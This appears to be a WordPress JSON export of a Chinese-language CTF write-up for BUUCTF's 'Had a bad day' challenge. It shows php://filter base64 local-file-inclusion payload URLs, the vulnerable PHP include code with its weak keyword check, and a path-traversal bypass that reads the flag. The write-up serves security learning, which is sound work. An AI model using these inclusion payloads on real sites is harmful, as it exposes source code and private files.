{"id":110,"date":"2026-01-15T17:01:59","date_gmt":"2026-01-15T09:01:59","guid":{"rendered":"https:\/\/blog.miren.baby\/?p=110"},"modified":"2026-01-15T17:02:00","modified_gmt":"2026-01-15T09:02:00","slug":"buuctf-bsidescf-2020had-a-bad-day","status":"publish","type":"post","link":"https:\/\/blog.miren.baby\/index.php\/2026\/01\/15\/buuctf-bsidescf-2020had-a-bad-day\/","title":{"rendered":"BUUCTF-[BSidesCF 2020]Had a bad day"},"content":{"rendered":"\n

\u70b9\u51fbwoofers\u8df3\u8f6c\u5230http:\/\/d1fd58aa-be0f-421b-b717-98a7ab62574f.node5.buuoj.cn:81\/index.php?category=woofers<\/a><\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u9898\u578b\u5e94\u8be5\u662fSQL\u6ce8\u5165\u6216\u8005\u6587\u4ef6\u8bfb\u53d6<\/p>\n\n\n\n

\u6bcf\u6b21\u70b9\u51fbwoofers<\/a>\u6309\u94ae\u90fd\u662f\u4e0d\u540c\u7684\u56fe\u7247\uff0c\u5e94\u8be5\u4e0d\u662f\u901a\u8fc7\u67e5\u8be2\u83b7\u53d6\u56fe\u7247\uff0c\u5927\u6982\u7387\u662f\u6587\u4ef6\u5305\u542b<\/p>\n\n\n\n

http:\/\/d1fd58aa-be0f-421b-b717-98a7ab62574f.node5.buuoj.cn:81\/index.php?category=php:\/\/filter\/convert.base64-encode\/resource=index<\/p>\n\n\n\n

\u4f2a\u534f\u8baebase64\u7f16\u7801\u8bfb\u51faindex\uff0c\u8fd9\u91cc\u4e0d\u80fd\u52a0.php\u540e\u7f00\uff0c\u4e0d\u7136\u8bfb\u4e0d\u51fa<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u89e3\u51fa\u6e90\u7801<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
              <?php\n\t\t\t\t$file = $_GET['category'];\n\n\t\t\t\tif(isset($file))\n\t\t\t\t{\n\t\t\t\t\tif( strpos( $file, \"woofers\" ) !==  false || strpos( $file, \"meowers\" ) !==  false || strpos( $file, \"index\")){\n\t\t\t\t\t\tinclude ($file . '.php');\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\techo \"Sorry, we currently only support woofers and meowers.\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t?><\/code><\/pre>\n\n\n\n
$file\u4f20\u53c2\u5fc5\u987b\u6709woofers\u6216meowers\u6216index\u624d\u80fd\u5305\u542b<\/p>\n\n\n\n
http:\/\/d1fd58aa-be0f-421b-b717-98a7ab62574f.node5.buuoj.cn:81\/index.php?category=php:\/\/filter\/convert.base64-encode\/resource=index\/..\/flag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u70b9\u51fbwoofers\u8df3\u8f6c\u5230http:\/\/d1fd58aa-be0f-421b-b717-98a7ab62574f […]<\/p>\n","protected":false},"author":2,"featured_media":115,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_import_markdown_pro_load_document_selector":0,"_import_markdown_pro_submit_text_textarea":"","footnotes":""},"categories":[5],"tags":[],"class_list":["post-110","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts\/110","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/comments?post=110"}],"version-history":[{"count":1,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts\/110\/revisions"}],"predecessor-version":[{"id":117,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts\/110\/revisions\/117"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/media\/115"}],"wp:attachment":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/media?parent=110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/categories?post=110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/tags?post=110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}